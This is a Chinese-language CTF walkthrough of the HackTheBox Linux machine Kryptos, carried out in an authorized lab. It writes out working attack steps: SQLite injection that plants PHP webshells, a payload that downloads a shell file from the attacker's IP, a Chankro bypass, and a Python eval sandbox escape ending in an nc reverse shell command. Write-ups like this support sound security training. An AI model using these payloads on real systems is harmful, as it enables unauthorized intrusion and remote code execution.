No.155-HackTheBox-Linux-Kryptos-Walkthrough渗透学习

**

HackTheBox-Linux-Kryptos-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/183
靶机难度:疯狂(5.0/10)
靶机发布日期:2019年5月27日
靶机描述:
KryptOS is an insane difficulty Linux box which requires knowledge of how cryptographic algorithms work. A login page is found to be vulnerable to PDO injection, and can be hijacked to gain access to the encrypting page. The page uses RC4 to encrypt files, which can be subjected to a known plaintext attack. This can be used to abuse a SQL injection in an internal web application to dump code into a file, and execute it to gain a shell. A Vimcrypt file is found, which uses a broken algorithm and can be decrypted. A vulnerable python app running on the local host is found using a weak RNG (Random Number Generator) which can be brute forced to gain RCE via the eval function.

作者:大余
时间:2020-07-02

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.129…
在这里插入图片描述
仅仅开放了ssh和http服务…
在这里插入图片描述
访问http是个登陆页面…
在这里插入图片描述
查看源代码发现每次刷新,valu令牌值都会更新…burpsuit拦截看看…
在这里插入图片描述
通过几分钟测试,简单的发现了此处存在注入利用…报错是1044…google看看

在这里插入图片描述
https://stackoverflow.com/questions/744656/possible-pdoexception-errors-mysql-5
此处没用提到1044,但是提供了一个errors的服务器错误列表参考链接…进去看看
在这里插入图片描述
果然这是总报错列表,1044给出的解释是拒绝访问数据库…
在这里插入图片描述
https://www.php.net/manual/en/pdo.connections.php
根据PDOException报错,我找到了此篇文章,给出了一些思路…host…
在这里插入图片描述
尝试添加host:IP后,是可以建立联系的…对应的是3306端口…mysql
在这里插入图片描述
利用MSF抓取数据流量中存在的mysql的hash值…

在这里插入图片描述
在这里插入图片描述
PDOException code: 1045这是访问被拒绝的意思…
User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d;获得了mysql中的哈希值…

在这里插入图片描述
命令:

dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
john --wordlist=~/桌面/rockyou.txt mysql_hash

通过john爆破获得了密码…尝试ssh不能登陆…继续枚举
在这里插入图片描述
为了能在本地抓取mysql的流量情况,本地开启了MariaDB服务器…
在这里插入图片描述
命令:

mysql -u root
create database cryptor;
grant all privileges on *.* to 'dbuser'@'%' identified by 'krypt0n1te';

并在本地mysql中创建了前面MSF获得了用户名密码…
在这里插入图片描述
添加完后访问,PDOE错误变成了2002,有效…
PDOException code: 2002
意思是不能连接到我的mysql数据库服务器…那么我们要利用socat建立两个mysql之间双向数据传输通道…开始
在这里插入图片描述
命令:socat TCP-LISTEN:3306,bind=10.10.14.51,fork TCP:127.0.0.1:3306
通过socat重定向TCP端口,更改主机侦听…
在这里插入图片描述
继续更新令牌值访问后,200返回,已经能正常访问了,下一步做TCP转储…抓包分析…
在这里插入图片描述
记得更新令牌值…
在这里插入图片描述
命令:tcpdump -i tun0 -w cap.pcap
利用tcpdump保存流量数据包…这里利用tcpdump是因为后期复习有一份数据罢了…本来可以直接wireshark查看的…
在这里插入图片描述
更新好的令牌值,输入即可…tcpdump会抓取数据包…
在这里插入图片描述
利用wireshark查看tcpdump抓取的数据包,在tcp流中发现了admin用户名和hash密码…
在这里插入图片描述
这是32位的hash值…
在这里插入图片描述
命令:

use cryptor;
create table users ( username varchar(32), password varchar(32) );
insert into users ( username, password ) values ( 'admin', '21232f297a57a5a743894a0e4a801fc3' );

根据前面的思路,继续在mysql本地中创建32位的密码和admin用户…
在这里插入图片描述
当继续更新令牌值访问后,返回HTTP/1.1 302 Found…说明成功利用本地的数据流以及创建的用户名和hash密码…成功登陆了…

在这里插入图片描述
在send刷新一次…
在这里插入图片描述
可看到被重定向到encrypt.php页面…
在这里插入图片描述
这里需要了解AES-CBC和RC4的加密算法原理…
可看到可选择AES-CBC和RC4,其中RC4是Xor算法:
明文XOR密文将为我们提供密钥。
纯文本XOR密钥将给我们提供密文。
密文XOR将给我们提供纯文本。
测试下,假设使用静态密钥来执行RC4是否会和原理一致…
在这里插入图片描述
假设它使用静态密钥来执行RC4,为了测试,我创建了dayu文件,内容是hello…
然后开启http,通过上传,RC4值是MFuD8FVg…
在这里插入图片描述
然后我将MFuD8FVg值继续base64转储到文件dayu1中,查看是一些乱码…
继续上传,RC4输出值是aGVsbG8K,通过base64转储,回到了hello信息…
看完测试应该很好理解RC4的XOR加密的工作原理了吧…
在这里插入图片描述
通过爆破,发现了/dev目录信息…(只有这个有方向,在css目录中的文件是个坑)
在这里插入图片描述
这里我访问了10.10.10.129/dev,发现获取的值是403,和正常一样…
由于前面socat开启了通道,我尝试了本地查看…枚举
在http://127.0.0.1/index.php获得了有用信息…
在这里插入图片描述
通过XOR密文原理,前面也演示过了…就不多说了…
获得了base64值…
在这里插入图片描述
输出可看到:
还有2个其他链接…存在参数view用于查看其他页面,view的存在可能是本地文件包含漏洞LFI…???
在这里插入图片描述
这是http://127.0.0.1/dev/index.php?view=todo的输出内容…这里就省略了前面一些步骤了…
根据注释,将尝试获取sqlite_test_page.php…(这是尝试自行文本编辑)
在这里插入图片描述
这是http://127.0.0.1/dev/sqlite_test_page.php的输出内容…
内容可能是隐藏了的或只是空白,猜测它是隐藏的,可以使用PHP过滤器或包装器将内容编码为base64…试试
如何过滤可参考:https://highon.coffee/blog/lfi-cheat-sheet/#php-wrapper-phpfilter
在这里插入图片描述
这是http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page的输出…
可看到在文件底部存在base64编码…果然隐藏了内容
在这里插入图片描述
通过base64继续查看,这段代码中两个红框内容很重要…
第一个红框意识是:我可以控制在输入中构建一个SQL查询等命令,意味着存在注入…
第二个红框显示了该随机命名的文件夹是可全局写入的(之前在todo列表中也已引用过了/sqlite_test_page.php)…所以我也可以通过加密页面访问该目录…
在这里插入图片描述
继续测试,这是http://127.0.0.1/dev/sqlite_test_page.php?bookid=1输出内容…
通过继续测试了id1~3修改url,获得的输出内容分析得到结果…
请求数据库时,通过http请求它们时,确实会显示数据库中的字符串,这样我可以创建一个带有php扩展名的新数据库,并在其中包含一个webshel​​l,然后通过Web服务器访问它,则可以运行php…提权
先测试下写入个简单得字段,然后创建.php文件看看…
在这里插入图片描述
命令:1; ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/df.php' as df; CREATE TABLE df.df (stuff text); INSERT INTO df.df (stuff) VALUES ("<?php echo 'system: '; system('id'); echo '\nexec: ' . exec('id') . '\nshell_exec: '; shell_exec('id'); echo '\npassthru: '; passthru('id'); echo '\nscandir: '; print_r(scandir('/home')); echo '\nfile_get_contents: ' . file_get_contents('/etc/lsb-release'); ?>");--
创建df.php脚本,内容集成了很多查询和读取信息的命令…记得进行url编码…
在这里插入图片描述
可看到输出值是成功的…查看下
在这里插入图片描述
可以看到执行尝试发部分命令是未成功,但是可以读取文件和列出目录…非常好
在这里插入图片描述
命令:1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/dayu.php' AS rick;CREATE TABLE rick.pwn (dataz text);INSERT INTO rick.pwn (dataz) VALUES ('<?php print_r(scandir("$_GET[dir]")); print_r(file_get_contents("$_GET[file]")); ?>');
修改下,只查看和读取…
在这里插入图片描述
成功创建注入简单的dir查询命令…开始
在这里插入图片描述
命令:http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dayu.php?dir=./
查看到了底层目录的文件内容…开始枚举…
在这里插入图片描述
命令:http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dayu.php?dir=/home/rijndael
可以看到user_flag信息,还有creds.old和creds.txt文本信息…
在这里插入图片描述
命令:http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dayu.php?file=/home/rijndael/creds.old
在这里插入图片描述
命令:http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/dayu.php?file=/home/rijndael/creds.txt
这里我发现获取到的数值不对,还有后续的乱码没编译出来…能力有限,这里太浪费时间了,太浪费时间…
我通过大量的时间搜索,找到了该方面的shell…
在这里插入图片描述
git clone https://github.com/TarlogicSecurity/Chankro.git
在这里插入图片描述
编辑简单的shell…测试shell正常没问题
在这里插入图片描述
命令:python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784
根据chankro提示,创建好了chan.php的shell…
在这里插入图片描述
命令:1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/dayu1.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php file_put_contents("rce.php",file_get_contents("http://10.10.14.51:8000/chan.php"))?>');
通过创建dayu1.php激活执行上传chan.php文件,然后在内置了rce.php文件用于执行shell…
在这里插入图片描述
成功上传…
在这里插入图片描述
命令:http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rce.php
获得了外壳www低权用户…这样方便枚举了
在这里插入图片描述
可看到user_flag无法读取…
读取creds.txt时,这是VimCrypt~02!..google看看这是啥…后面还有一些乱码

在这里插入图片描述
google发现了一些文章,还有利用的exp…

在这里插入图片描述
这里解释到这是VIM的加密文本文件…需要解密…
在这里插入图片描述
简单修改了下脚本…破解了密码…到这一步才获得user…的flag…吐了太难了
在这里插入图片描述
ssh登录,获得了user_flag信息…
在这里插入图片描述
枚举发现该用户下存在kry…文件夹…
在这里插入图片描述
查看kryptos.py代码,这是一个localhost在端口81上运行的服务器,可以看到通过向/eval发送请求,参数expr得到了评估后并执行从而有一个内置的控件,但是该参数sig必须是有效的签名,并且所有内置函数均被禁用…
意思就是它仅评估带符号的表达式,就算可以绕过该保护,也无法执行有用的操作,因为builtins被禁用了…

在这里插入图片描述
认证了本地是开放了81端口的…
在这里插入图片描述
命令:ssh -L 81:localhost:81 rijndael@10.10.10.129
为了方便执行,我将流量转发到本地…
在这里插入图片描述
在反复测试中,发现样本大小为500会产生足够的签名键冲突,最终将创建一个有效的签名来欺骗服务器…
知道了大小,最后需要绕过eval(expr, {'__builtins__':None})
通过google搜索可不python等内容…
Python中的所有内容都是一个对象,只要有权访问对象类,就可以使用Python在当前作用域中的内部函数和属性进行检索__builtins__,即使将其设置为None也可以…
在这里插入图片描述
命令:python3 exploit.py 500 "{}.__class__.__mro__[1].__subclasses__()[121].__init__.__globals__['__builtins__']['__import__']('os').system('rm -f /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | nc 10.10.14.51 1234 >/tmp/p')"
利用端口转发,然后通过了解python等原理后,利用以上代码获得了反向外壳root权限…
获得了root_flag信息…这是近一个月最累的一台靶机…快吐了…

这台靶机真的算盲区知识…坚持了3~4个晚上的时间,终于完成了…
学到了很多很多…

sql注入–数据库Error信息熟悉–MSF-mysql数据流抓取–john爆破–熟悉mysql创建信息–socat通道开启–tcpdump抓包–wireshark分析流量包–需熟悉AES-CBC和RC4密码原理–页面枚举获得进一步信息–LFI漏洞与view利用–SQLite3 SQL脚本熟悉–PHP过滤器熟悉获得隐藏base64值–创建脚本枚举php–利用Chankro生成反弹shell–利用VIM的EXP爆破creds文本获得ssh密码–深入熟悉python对象原理–利用SSH端口转发–利用python枚举正确数值和绕过builitin限制最终获得反弹shell…

由于我们已经成功得到root权限查看user和root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值